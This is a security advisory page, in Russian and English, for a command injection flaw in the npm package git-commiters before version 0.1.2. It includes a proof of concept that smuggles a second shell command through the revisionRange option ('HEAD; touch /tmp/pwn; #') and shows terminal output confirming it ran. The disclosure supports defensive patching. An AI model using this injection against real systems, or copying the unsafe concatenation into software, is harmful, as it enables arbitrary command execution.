Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-g38c-wxjf-xrh6

Опубликовано: 22 сент. 2025
Источник: github
Github: Прошло ревью
CVSS4: 8.7
CVSS3: 8.8

Описание

git-comiters Command Injection vulnerability

Background on the vulnerability

This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.

However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install git-commiters@0.1.1 or earlier
  2. Initiaizlie a new Git directory with commits in it
  3. Create the following script in that directory:
var gitCommiters = require("git-commiters"); var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); });
  1. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js [ { email: 'github@qslw.com', name: 'Morton Fox', deletions: 1, insertions: 1, commits: 1 }, { email: 'snowyu.lee@gmail.com', name: 'Riceball LEE', deletions: 11, insertions: 1198, commits: 7 } ] @lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn -rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn

Credit

Liran Tal

Пакеты

Наименование

git-commiters

npm
Затронутые версииВерсия исправления

< 0.1.2

0.1.2

EPSS

Процентиль: 30%
0.00111
Низкий

8.7 High

CVSS4

8.8 High

CVSS3

Дефекты

CWE-77
CWE-78

Связанные уязвимости

CVSS3: 8.8
nvd
4 месяца назад

git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.

CVSS3: 9.8
fstec
5 месяцев назад

Уязвимость npm-библиотеки git-commiters, связанная с непринятием мер по чистке данных на управляющем уровне, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 30%
0.00111
Низкий

8.7 High

CVSS4

8.8 High

CVSS3

Дефекты

CWE-77
CWE-78